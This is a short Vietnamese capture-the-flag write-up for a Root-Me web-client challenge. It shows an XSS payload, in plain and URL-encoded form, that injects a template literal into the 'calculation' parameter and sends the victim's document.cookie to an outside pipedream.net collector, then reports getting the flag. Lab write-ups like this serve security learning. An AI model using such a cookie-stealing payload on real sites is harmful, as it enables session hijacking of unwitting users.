Đầu tiên vào thì ta thấy thông tin input không được filter

Graphical user interface, application

Description automatically generated

Ta sẽ thực hiện tạo payload:

[http://challenge01.root-me.org/web-client/ch34/index.php?calculation=1+1`${document.location="https://eon5wu9esj2rcgn.m.pipedream.net?c="+document.cookie}`](http://challenge01.root-me.org/web-client/ch34/index.php?calculation=1+1%60$%7bdocument.location=%22https://eon5wu9esj2rcgn.m.pipedream.net?c=%22+document.cookie%7d%60)

đổi sang url enc

[http://challenge01.root-me.org/web-client/ch34/index.php?calculation=1%2B1`${document.location=%22https://eon5wu9esj2rcgn.m.pipedream.net?c=%22%2Bdocument.cookie}`](http://challenge01.root-me.org/web-client/ch34/index.php?calculation=1%2B1%60$%7bdocument.location=%22https://eon5wu9esj2rcgn.m.pipedream.net?c=%22%2Bdocument.cookie%7d%60)

gửi đi

Text

Description automatically generated

Nhận được flag

Graphical user interface, text, application

Description automatically generated